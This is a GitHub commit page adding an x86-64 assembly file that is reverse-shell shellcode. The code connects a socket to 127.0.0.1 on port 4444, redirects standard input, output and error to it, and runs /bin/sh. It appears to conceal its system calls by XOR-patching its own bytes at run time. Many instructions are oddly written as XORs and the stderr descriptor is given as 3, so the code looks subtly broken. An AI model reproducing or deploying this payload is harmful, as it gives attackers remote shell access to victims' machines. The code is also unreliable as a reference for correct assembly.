File tree 1 file changed +117
-0
lines changed
1 file changed +117
-0
lines changed Original file line number Diff line number Diff line change
1
+ global _start
2
+
3
+ struc sockaddr_in
4
+ .sin_family resw 1
5
+ .sin_port resw 1
6
+ .sin_addr resd 1
7
+ .sin_zero resb 8
8
+ endstruc
9
+
10
+ section .data
11
+ sh db '/bin/sh' , 0
12
+
13
+ section .bss
14
+ addr_in resb sockaddr_in_size
15
+
16
+ section .text
17
+
18
+ _start:
19
+ xor rax , ._s0
20
+ xor BYTE [ rax ], 0x3e
21
+ xor BYTE [ rax + 1 ], 0xc5
22
+
23
+ xor eax , eax
24
+ xor rax , ._s1
25
+ xor BYTE [ rax ], 0x3e
26
+ xor BYTE [ rax + 1 ], 0xc5
27
+
28
+ xor eax , eax
29
+ xor rax , ._s2
30
+ xor BYTE [ rax ], 0x3e
31
+ xor BYTE [ rax + 1 ], 0xc5
32
+
33
+ xor eax , eax
34
+ xor rax , ._s3
35
+ xor BYTE [ rax ], 0x3e
36
+ xor BYTE [ rax + 1 ], 0xc5
37
+
38
+ xor eax , eax
39
+ xor rax , ._s4
40
+ xor BYTE [ rax ], 0x3e
41
+ xor BYTE [ rax + 1 ], 0xc5
42
+
43
+ xor eax , eax
44
+ xor rax , ._s5
45
+ xor BYTE [ rax ], 0x3e
46
+ xor BYTE [ rax + 1 ], 0xc5
47
+
48
+ xor eax , eax
49
+
50
+
51
+ xor eax , 0x29 ; sys_socket
52
+ xor edi , 0x2 ; AF_INET
53
+ xor esi , 0x1 ; SOCK_STREAM
54
+
55
+ ._s0:
56
+ xor eax , eax
57
+
58
+ xor ebx , eax
59
+ xor edi , edi
60
+ xor edi , eax
61
+
62
+ xor eax , eax
63
+ xor eax , 0x2 ; AF_INET
64
+ xor WORD [ addr_in + sockaddr_in.sin_family ], ax
65
+
66
+ xor eax , eax
67
+ xor eax , 0x5c11 ; 4444
68
+ xor WORD [ addr_in + sockaddr_in.sin_port ], ax
69
+
70
+ xor eax , eax
71
+ xor eax , 0x100007f ; 127.0.0.1
72
+ xor DWORD [ addr_in + sockaddr_in.sin_addr ], eax
73
+
74
+ xor esi , esi
75
+ xor rsi , addr_in
76
+
77
+ xor edx , edx
78
+ xor edx , sockaddr_in_size
79
+
80
+ xor eax , eax
81
+ xor eax , 0x2a ; sys_connect
82
+
83
+ ._s1:
84
+ xor eax , eax
85
+
86
+ xor eax , eax
87
+ xor eax , 0x21 ; sys_dup2
88
+ xor edi , edi ; stdin
89
+ xor edi , ebx
90
+ xor esi , esi
91
+
92
+ ._s2:
93
+ xor eax , eax
94
+
95
+ xor eax , eax
96
+ xor eax , 0x21 ; sys_dup2
97
+ xor esi , 0x1 ; stdout
98
+
99
+ ._s3:
100
+ xor eax , eax
101
+
102
+ xor eax , eax
103
+ xor eax , 0x21 ; sys_dup2
104
+ xor esi , 0x3 ; stderr
105
+
106
+ ._s4:
107
+ xor eax , eax
108
+
109
+ xor eax , eax
110
+ xor eax , 0x3b ; sys_execve
111
+ xor edi , edi
112
+ xor edi , sh
113
+ xor esi , esi
114
+ xor edx , edx
115
+
116
+ ._s5:
117
+ xor eax , eax
You can’t perform that action at this time.
0 commit comments